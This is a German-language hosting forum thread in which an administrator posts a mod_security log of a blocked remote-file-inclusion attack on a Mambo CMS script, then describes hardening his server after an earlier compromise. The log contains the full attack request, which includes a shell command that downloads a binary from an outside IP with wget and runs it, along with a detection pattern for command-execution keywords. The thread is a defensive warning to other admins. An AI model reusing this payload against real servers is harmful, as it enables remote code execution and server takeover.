Im mod_security Logfile erscheinen oft Aufrufe wie:
GET / HTTP/1.1
User-Agent: Java1.3.1_07
normalerweise stehen ja bekannte Browser wie Netscape oder Mozilla oder was auch immer an gebräuchlichen Webbrowsern heute zur Verfügung.
Hat jemand eine Ahnung, mit welchen Methoden da irgendwer auf meinen
Wewbserver zugreifen will ? Gooogeln hat nichts gebracht.
Kennt jemand einen User Agent welcher Java1.3.1_07 heisst ???? 8O
Merkwürdige Webseitenaufrufe
-
Roger Wilco
- Posts: 5923
- Joined: 2004-05-23 12:53
Re: Merkwürdige Webseitenaufrufe
Mit der Methode GET.danu wrote:Hat jemand eine Ahnung, mit welchen Methoden da irgendwer auf meinen
Wewbserver zugreifen will ?
Lass mich überlegen, vielleicht die JVM 1.3.1 Patchlevel 7? Ist ein bisschen betagt, aber offensichtlich doch noch im Einsatz.danu wrote:Kennt jemand einen User Agent welcher Java1.3.1_07 heisst ????
-
simcen
- Posts: 333
- Joined: 2003-02-12 14:35
- Location: Bern, Schweiz
Re: Merkwürdige Webseitenaufrufe
Du kannst bei jedem selbst gebasteltem Browser oder Skript den User-Agent festlegen... Wenn ich mich nicht irre, geht das sogar beim FeuerFuchsen...danu wrote: Kennt jemand einen User Agent welcher Java1.3.1_07 heisst ???? 8O
-
danu
- Posts: 264
- Joined: 2005-02-02 11:15
Aaaaaatttaaaacke !!!
Gestern am 15.02. wurde mein Rootie bei S&P innerhalb 5 Minuten
im Sekundentakt ca. von 300 Requests mit unterschiedlichen Parametern heimgesucht. Beispiel aus dem modsec_audit.log:
(xxx.xxx.xxx.xxx --> IP meines Servers)
Das PHP-Script, welches dazu velinkt werden sollte, ist selbstredend:
http://209.123.16.34/cmd.gif
(ist wirklich ein PHP-Script und kann nur so wie im Log dargestellten Kontext Schaden anrichten)
Mit diesem Posting will ich nur "unseren" Rootie-Administratoren vor Augen führen, womit zu rechnen ist, und keinesfalls irgendwelche Hacker-Anleitungen propagieren :?
Ich hoffe, dass ich richtig verstanden werde.
Gruss, danu
im Sekundentakt ca. von 300 Requests mit unterschiedlichen Parametern heimgesucht. Beispiel aus dem modsec_audit.log:
(xxx.xxx.xxx.xxx --> IP meines Servers)
Die Smilies im Log ergeben sich einfach aus der Kombination Strichpunkt & geschlossene Klammer und sind in diesem Kontext nicht beabsichtigt.==84df6500==============================
Request: xxx.xxx.xxx.xxx 85.124.118.43 - - [15/Feb/2006:20:19:09 +0100]
"GET /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://209.123.16.34/cmd.gif?&cmd=cd%20
/tmp;wget%20209.123.16.34/giculo;chmod%20744%20giculo;./giculo;echo%20YYY;echo| HTTP/1.1" 403 999 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" - "-"
Handler: type-map
----------------------------------------
GET /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://209.123.16.34/cmd.gif?&cmd=cd%20 ... 20YYY;echo| HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)
mod_security-message: Access denied with code 403. Pattern match ";[[:space:]]*(ls|id|pwd|wget)" at ARGS_VALUES("cmd") [msg "Command execution attack"]
mod_security-action: 403
HTTP/1.1 403 Forbidden
Vary: accept-language,accept-charset
Accept-Ranges: bytes
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
Content-Language: en
--84df6500--
Das PHP-Script, welches dazu velinkt werden sollte, ist selbstredend:
http://209.123.16.34/cmd.gif
(ist wirklich ein PHP-Script und kann nur so wie im Log dargestellten Kontext Schaden anrichten)
Mit diesem Posting will ich nur "unseren" Rootie-Administratoren vor Augen führen, womit zu rechnen ist, und keinesfalls irgendwelche Hacker-Anleitungen propagieren :?
Ich hoffe, dass ich richtig verstanden werde.
Gruss, danu
-
Joe User
- Project Manager
- Posts: 11183
- Joined: 2003-02-27 01:00
- Location: Hamburg
Re: Aaaaaatttaaaacke !!!
Bekannter und behobener Bug im MSIE...danu wrote:http://209.123.16.34/cmd.gif
(ist wirklich ein PHP-Script und kann nur so wie im Log dargestellten
PayPal.Me/JoeUser ● FreeBSD Remote Installation
Wings for Life ● Wings for Life World Run
„If there’s more than one possible outcome of a job or task, and one
of those outcomes will result in disaster or an undesirable consequence,
then somebody will do it that way.“ -- Edward Aloysius Murphy Jr.
Wings for Life ● Wings for Life World Run
„If there’s more than one possible outcome of a job or task, and one
of those outcomes will result in disaster or an undesirable consequence,
then somebody will do it that way.“ -- Edward Aloysius Murphy Jr.
-
danu
- Posts: 264
- Joined: 2005-02-02 11:15
Re: Aaaaaatttaaaacke !!!
Damit ist das Problem ja nicht gelöst. Scriptkiddies verwenden wohl entsprechend modifizierte Browser.Joe User wrote: Bekannter und behobener Bug im MSIE...
Es wäre ja ein leichtes, mit mod_security die Webseitenzugriffe aufsimcen wrote: Du kannst bei jedem selbst gebasteltem Browser oder Skript den User-Agent festlegen... Wenn ich mich nicht irre, geht das sogar beim FeuerFuchsen...
die "sichere" MSIE Version zu beschränken. Aber das kanns auch nicht sein.
Es ist so, als würde ich einem Einbrecher sagen "Du darfst nur mit einem offiziell registrierten und zugelassenen Schlüssel in meine Wohnung einbrechen, mit einem Dietrich oder selbst gebastelten Schlüssel ist das verboten.
danu
-
Joe User
- Project Manager
- Posts: 11183
- Joined: 2003-02-27 01:00
- Location: Hamburg
Re: Aaaaaatttaaaacke !!!
Sorry, der MSIE-Bug ist hier nur sekundär relevant, primär sollte ein Bug in dem Script ausgenutzt werden, was aber durch mod_security erfolgreich verhindert wurde. Du solltest entweder das Script fixen, oder durch ein sichereres Script ersetzen...danu wrote:Damit ist das Problem ja nicht gelöst. Scriptkiddies verwenden wohl entsprechend modifizierte Browser.Joe User wrote: Bekannter und behobener Bug im MSIE...
PayPal.Me/JoeUser ● FreeBSD Remote Installation
Wings for Life ● Wings for Life World Run
„If there’s more than one possible outcome of a job or task, and one
of those outcomes will result in disaster or an undesirable consequence,
then somebody will do it that way.“ -- Edward Aloysius Murphy Jr.
Wings for Life ● Wings for Life World Run
„If there’s more than one possible outcome of a job or task, and one
of those outcomes will result in disaster or an undesirable consequence,
then somebody will do it that way.“ -- Edward Aloysius Murphy Jr.
-
danu
- Posts: 264
- Joined: 2005-02-02 11:15
Von Anfang an
Ja dank mod_security. Da musste ich erst darauf kommen. Am 23. Januar wurde mein Server gehackt :oops: Totalschaden, geshreddert. Sämtliche index.* irgendwas -Dateien waren defaced.
Bei mehr als 100 Domains von 56 Kunden mochte ich nicht lange suchen, welches Script da Schuld war. Ich musste den Server so schnell als möglich wieder Up haben. Also neu initieren, Backup drauf und nach ca 3 Stunden funktionierte ALLES wieder.
Seither habe ich alles mögliche für die Sicherheit unternommen:
1. Firewall aktiviert
Der Anbieter stellt einen externen Firewall zu Verfügung
2. Direktes root-Login ausgeschaltet.
3. SSHd Konsole Login nur noch für mich,
und das nur noch (chrooted) bin/bash.
4. Rootkit Hunter installiert.
Stellt in jedem Fall fest, wenn ein neuer User generiert wird,
oder in den Systemdateien etwas verändert wird.
(gut möglich, dass ich ein Rootkit darauf hatte, und
die ganze Zeit nichts bemerkt hatte)
5. IP_Blocker installiert
Die mehrmals täglich stattfindenden Brute Force Attacken mit jeweils
hunderten sshd-Loginversuchen werden damit unterbunden. Nach jeweils
3 Loginversuchen, wird die jeweilige IP für eine Zeit lang gesperrt. Ein paar Angreifer haben bereits aufgegeben.
6. Das Apachemodul mod_security installiert
Bin noch dabei die "Rules" zu optimieren.
Habe noch wegen der Scripte die neuen AGB's an die Kunden verschickt und habe bei diesen und jenen noch die Mambo CMS und phpBB (gebührenpflichtig) auf die neuesten Versionen updatet.
Mit andern Worten: Die letzten 20 Tage hatte ich einiges neu hinzu gelernt - auch dank diesem Forum.
An dieser Stelle nochmals ein Loblied auf mod_security:
Trotz alter Gästebuch-CGI's werden die Gästebücher nicht mehr mit Casinowerbung etc. vollgespamt. :D
Bei mehr als 100 Domains will (darf) ich ja nicht sämtliche Verzeichnisse nach gefährlichen Scripts absuchen. Deshalb benütze ich mod_security ja auch als zusätzlichen Schutz, weil ja "unsaubere" Requests und POST's gar nicht mehr beim Script ankommen sollen.
Gruss, danu
Bei mehr als 100 Domains von 56 Kunden mochte ich nicht lange suchen, welches Script da Schuld war. Ich musste den Server so schnell als möglich wieder Up haben. Also neu initieren, Backup drauf und nach ca 3 Stunden funktionierte ALLES wieder.
Seither habe ich alles mögliche für die Sicherheit unternommen:
1. Firewall aktiviert
Der Anbieter stellt einen externen Firewall zu Verfügung
2. Direktes root-Login ausgeschaltet.
3. SSHd Konsole Login nur noch für mich,
und das nur noch (chrooted) bin/bash.
4. Rootkit Hunter installiert.
Stellt in jedem Fall fest, wenn ein neuer User generiert wird,
oder in den Systemdateien etwas verändert wird.
(gut möglich, dass ich ein Rootkit darauf hatte, und
die ganze Zeit nichts bemerkt hatte)
5. IP_Blocker installiert
Die mehrmals täglich stattfindenden Brute Force Attacken mit jeweils
hunderten sshd-Loginversuchen werden damit unterbunden. Nach jeweils
3 Loginversuchen, wird die jeweilige IP für eine Zeit lang gesperrt. Ein paar Angreifer haben bereits aufgegeben.
6. Das Apachemodul mod_security installiert
Bin noch dabei die "Rules" zu optimieren.
Habe noch wegen der Scripte die neuen AGB's an die Kunden verschickt und habe bei diesen und jenen noch die Mambo CMS und phpBB (gebührenpflichtig) auf die neuesten Versionen updatet.
Mit andern Worten: Die letzten 20 Tage hatte ich einiges neu hinzu gelernt - auch dank diesem Forum.
An dieser Stelle nochmals ein Loblied auf mod_security:
Trotz alter Gästebuch-CGI's werden die Gästebücher nicht mehr mit Casinowerbung etc. vollgespamt. :D
Bei mehr als 100 Domains will (darf) ich ja nicht sämtliche Verzeichnisse nach gefährlichen Scripts absuchen. Deshalb benütze ich mod_security ja auch als zusätzlichen Schutz, weil ja "unsaubere" Requests und POST's gar nicht mehr beim Script ankommen sollen.
Gruss, danu